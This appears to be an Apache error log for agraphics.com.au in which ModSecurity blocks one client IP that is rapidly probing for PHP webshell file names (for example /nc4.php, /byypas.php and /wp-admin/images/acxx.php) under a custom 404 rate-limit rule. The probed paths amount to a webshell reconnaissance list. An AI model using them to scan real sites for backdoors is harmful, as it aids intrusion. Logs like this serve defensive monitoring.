[Sun Mar 22 19:02:57.884724 2026] [:error] [pid 40039:tid 40047] [client 51.120.72.165:35005] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bolt.php"] [unique_id "ab_MYR3aDgUJfBYishmi7AAAAQY"]
[Sun Mar 22 19:02:58.423440 2026] [proxy_fcgi:error] [pid 40039:tid 40057] [client 51.120.72.165:50407] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:02:58.686927 2026] [proxy_fcgi:error] [pid 40039:tid 40045] [client 51.120.72.165:50407] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:02:58.951006 2026] [proxy_fcgi:error] [pid 40039:tid 40054] [client 51.120.72.165:50407] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:02:59.221327 2026] [proxy_fcgi:error] [pid 40039:tid 40058] [client 51.120.72.165:50407] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:02:59.808057 2026] [proxy_fcgi:error] [pid 40039:tid 40055] [client 51.120.72.165:50407] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:03:00.078893 2026] [proxy_fcgi:error] [pid 40039:tid 40043] [client 51.120.72.165:50407] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:03:00.345752 2026] [proxy_fcgi:error] [pid 40039:tid 40059] [client 51.120.72.165:50407] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:03:00.621581 2026] [proxy_fcgi:error] [pid 40039:tid 40063] [client 51.120.72.165:50407] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:03:00.891047 2026] [proxy_fcgi:error] [pid 40039:tid 40048] [client 51.120.72.165:50407] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:03:01.154640 2026] [proxy_fcgi:error] [pid 40039:tid 40052] [client 51.120.72.165:50407] AH01071: Got error 'Primary script unknown'
[Sun Mar 22 19:03:01.419221 2026] [:error] [pid 40039:tid 40061] [client 51.120.72.165:50407] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aifa.php"] [unique_id "ab_MZR3aDgUJfBYishmi-gAAARQ"]
[Sun Mar 22 19:03:01.946603 2026] [:error] [pid 51363:tid 51437] [client 51.120.72.165:32852] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aifa.php"] [unique_id "ab_MZVwa9x6OCTRkhl2GiQAAAIg"]
[Sun Mar 22 19:03:02.475937 2026] [:error] [pid 51361:tid 51391] [client 51.120.72.165:30160] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aifa.php"] [unique_id "ab_MZhXYUsdvKC9YWpXTCwAAABM"]
[Sun Mar 22 19:03:03.005992 2026] [:error] [pid 51363:tid 51444] [client 51.120.72.165:32855] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aifa.php"] [unique_id "ab_MZ1wa9x6OCTRkhl2GkAAAAI8"]
[Sun Mar 22 19:03:03.543605 2026] [:error] [pid 51363:tid 51444] [client 51.120.72.165:35958] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "ab_MZ1wa9x6OCTRkhl2GmwAAAI8"]
[Sun Mar 22 19:03:04.099686 2026] [:error] [pid 51363:tid 51433] [client 51.120.72.165:35021] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "ab_MaFwa9x6OCTRkhl2GtwAAAIU"]
[Sun Mar 22 19:03:04.692515 2026] [:error] [pid 51361:tid 51371] [client 51.120.72.165:35012] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "ab_MaBXYUsdvKC9YWpXTDwAAAAA"]
[Sun Mar 22 19:03:05.386165 2026] [:error] [pid 51361:tid 51382] [client 51.120.72.165:59832] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tool.php"] [unique_id "ab_MaRXYUsdvKC9YWpXTEwAAAAs"]
[Sun Mar 22 19:03:05.915521 2026] [:error] [pid 51363:tid 51439] [client 51.120.72.165:32835] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/feokc.php"] [unique_id "ab_MaVwa9x6OCTRkhl2GvgAAAIo"]
[Sun Mar 22 19:03:06.436937 2026] [:error] [pid 51363:tid 51440] [client 51.120.72.165:30171] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/feokc.php"] [unique_id "ab_Malwa9x6OCTRkhl2GwQAAAIs"]
[Sun Mar 22 19:03:07.012898 2026] [:error] [pid 30166:tid 30201] [client 51.120.72.165:62472] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/feokc.php"] [unique_id "ab_Ma7m4_26jKMD0zy3NvgAAAVg"]
[Sun Mar 22 19:03:07.560790 2026] [:error] [pid 30166:tid 30170] [client 51.120.72.165:35915] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/feokc.php"] [unique_id "ab_Ma7m4_26jKMD0zy3NwQAAAUA"]
[Sun Mar 22 19:03:08.187146 2026] [:error] [pid 51363:tid 51428] [client 51.120.72.165:32834] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "ab_MbFwa9x6OCTRkhl2GzAAAAIA"]
[Sun Mar 22 19:03:08.749910 2026] [:error] [pid 51363:tid 51441] [client 51.120.72.165:35041] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "ab_MbFwa9x6OCTRkhl2GzwAAAIw"]
[Sun Mar 22 19:03:09.303616 2026] [:error] [pid 51363:tid 51450] [client 51.120.72.165:44293] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "ab_MbVwa9x6OCTRkhl2G0wAAAJQ"]
[Sun Mar 22 19:03:09.908300 2026] [:error] [pid 51363:tid 51448] [client 51.120.72.165:34977] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nc4.php"] [unique_id "ab_MbVwa9x6OCTRkhl2G1gAAAJI"]
[Sun Mar 22 19:03:10.518424 2026] [:error] [pid 51361:tid 51384] [client 51.120.72.165:35937] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "ab_MbhXYUsdvKC9YWpXTFwAAAA0"]
[Sun Mar 22 19:03:11.183508 2026] [:error] [pid 51363:tid 51444] [client 51.120.72.165:46666] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "ab_Mb1wa9x6OCTRkhl2G3wAAAI8"]
[Sun Mar 22 19:03:11.769079 2026] [:error] [pid 51468:tid 51499] [client 51.120.72.165:50425] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "ab_Mb02TppSvA8W5CBQ-KAAAANc"]
[Sun Mar 22 19:03:12.299879 2026] [:error] [pid 51468:tid 51498] [client 51.120.72.165:52438] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp9.php"] [unique_id "ab_McE2TppSvA8W5CBQ-KQAAANY"]
[Sun Mar 22 19:03:12.870827 2026] [:error] [pid 51361:tid 51377] [client 51.120.72.165:38460] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "ab_McBXYUsdvKC9YWpXTGQAAAAY"]
[Sun Mar 22 19:03:13.413892 2026] [:error] [pid 30166:tid 30173] [client 51.120.72.165:44333] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "ab_Mcbm4_26jKMD0zy3N0QAAAUI"]
[Sun Mar 22 19:03:13.997587 2026] [:error] [pid 51362:tid 51414] [client 51.120.72.165:45627] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "ab_MccOwPm3DXzTDjUeePQAAAE0"]
[Sun Mar 22 19:03:14.622307 2026] [:error] [pid 51361:tid 51371] [client 51.120.72.165:35967] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/images/acxx.php"] [unique_id "ab_MchXYUsdvKC9YWpXTGwAAAAA"]
[Sun Mar 22 19:03:15.220565 2026] [:error] [pid 51362:tid 51408] [client 51.120.72.165:32839] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "ab_Mc8OwPm3DXzTDjUeeQgAAAEc"]
[Sun Mar 22 19:03:15.761492 2026] [:error] [pid 51361:tid 51374] [client 51.120.72.165:62519] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "ab_McxXYUsdvKC9YWpXTIwAAAAM"]
[Sun Mar 22 19:03:16.353536 2026] [:error] [pid 51468:tid 51490] [client 51.120.72.165:50423] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "ab_MdE2TppSvA8W5CBQ-LAAAAM4"]
[Sun Mar 22 19:03:17.190782 2026] [:error] [pid 51468:tid 51484] [client 51.120.72.165:41994] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "ab_MdU2TppSvA8W5CBQ-LQAAAMg"]
[Sun Mar 22 19:03:17.818225 2026] [:error] [pid 51362:tid 51409] [client 51.120.72.165:46697] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "ab_MdcOwPm3DXzTDjUeeSgAAAEg"]
[Sun Mar 22 19:03:18.470686 2026] [:error] [pid 51362:tid 51417] [client 51.120.72.165:31701] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "ab_MdsOwPm3DXzTDjUeeTgAAAFA"]
[Sun Mar 22 19:03:19.150097 2026] [:error] [pid 51363:tid 51441] [client 51.120.72.165:49011] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "ab_Md1wa9x6OCTRkhl2HEgAAAIw"]
[Sun Mar 22 19:03:19.799496 2026] [:error] [pid 51361:tid 51384] [client 51.120.72.165:34995] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/byypas.php"] [unique_id "ab_MdxXYUsdvKC9YWpXTJwAAAA0"]
[Sun Mar 22 19:03:21.174335 2026] [:error] [pid 51468:tid 51480] [client 51.120.72.165:49353] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "ab_MeU2TppSvA8W5CBQ-LwAAAMQ"]
[Sun Mar 22 19:03:22.242111 2026] [:error] [pid 51362:tid 51407] [client 51.120.72.165:41993] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "ab_MesOwPm3DXzTDjUeeVgAAAEY"]
[Sun Mar 22 19:03:23.416186 2026] [:error] [pid 51361:tid 51376] [client 51.120.72.165:59802] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "ab_MexXYUsdvKC9YWpXTLQAAAAU"]
[Sun Mar 22 19:03:24.637887 2026] [:error] [pid 51362:tid 51406] [client 51.120.72.165:42025] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/b.php"] [unique_id "ab_MfMOwPm3DXzTDjUeeXgAAAEU"]
[Sun Mar 22 19:03:25.483436 2026] [:error] [pid 51361:tid 51387] [client 51.120.72.165:49002] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws49.php"] [unique_id "ab_MfRXYUsdvKC9YWpXTOQAAAA8"]
[Sun Mar 22 19:03:26.210734 2026] [:error] [pid 30166:tid 30189] [client 51.120.72.165:55975] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws49.php"] [unique_id "ab_Mfrm4_26jKMD0zy3N4gAAAU4"]
[Sun Mar 22 19:03:27.167572 2026] [:error] [pid 51362:tid 51422] [client 51.120.72.165:55953] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws49.php"] [unique_id "ab_Mf8OwPm3DXzTDjUeeYgAAAFU"]
[Sun Mar 22 19:03:27.709310 2026] [:error] [pid 51468:tid 51490] [client 51.120.72.165:8302] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws49.php"] [unique_id "ab_Mf02TppSvA8W5CBQ-OwAAAM4"]
[Sun Mar 22 19:03:28.250137 2026] [:error] [pid 51361:tid 51372] [client 51.120.72.165:55996] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gfd.php"] [unique_id "ab_MgBXYUsdvKC9YWpXTQQAAAAE"]
[Sun Mar 22 19:03:28.780608 2026] [:error] [pid 51468:tid 51482] [client 51.120.72.165:42103] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gfd.php"] [unique_id "ab_MgE2TppSvA8W5CBQ-PQAAAMY"]
[Sun Mar 22 19:03:29.334195 2026] [:error] [pid 51468:tid 51500] [client 51.120.72.165:9174] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gfd.php"] [unique_id "ab_MgU2TppSvA8W5CBQ-QAAAANg"]
[Sun Mar 22 19:03:30.039224 2026] [:error] [pid 51362:tid 51402] [client 51.120.72.165:45148] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/gfd.php"] [unique_id "ab_MgsOwPm3DXzTDjUeebwAAAEI"]
[Sun Mar 22 19:03:30.601349 2026] [:error] [pid 40039:tid 40060] [client 51.120.72.165:45151] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/callback.php"] [unique_id "ab_Mgh3aDgUJfBYishmjJAAAARM"]
[Sun Mar 22 19:03:31.120921 2026] [:error] [pid 51468:tid 51499] [client 51.120.72.165:41177] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/callback.php"] [unique_id "ab_Mg02TppSvA8W5CBQ-RwAAANc"]
[Sun Mar 22 19:03:31.780072 2026] [:error] [pid 51362:tid 51419] [client 51.120.72.165:39859] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/callback.php"] [unique_id "ab_Mg8OwPm3DXzTDjUeecwAAAFI"]
[Sun Mar 22 19:03:32.427296 2026] [:error] [pid 40039:tid 40048] [client 51.120.72.165:46621] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/callback.php"] [unique_id "ab_MhB3aDgUJfBYishmjKwAAAQc"]
[Sun Mar 22 19:03:32.962359 2026] [:error] [pid 51363:tid 51431] [client 51.120.72.165:9210] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ab_MhFwa9x6OCTRkhl2HSAAAAIM"]
[Sun Mar 22 19:03:33.547013 2026] [:error] [pid 51361:tid 51382] [client 51.120.72.165:36900] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ab_MhRXYUsdvKC9YWpXTSwAAAAs"]
[Sun Mar 22 19:03:34.101994 2026] [:error] [pid 40039:tid 40047] [client 51.120.72.165:9214] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ab_Mhh3aDgUJfBYishmjMAAAAQY"]
[Sun Mar 22 19:03:34.654323 2026] [:error] [pid 51362:tid 51421] [client 51.120.72.165:49947] [client 51.120.72.165] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-blogs.php"] [unique_id "ab_MhsOwPm3DXzTDjUeedwAAAFQ"]
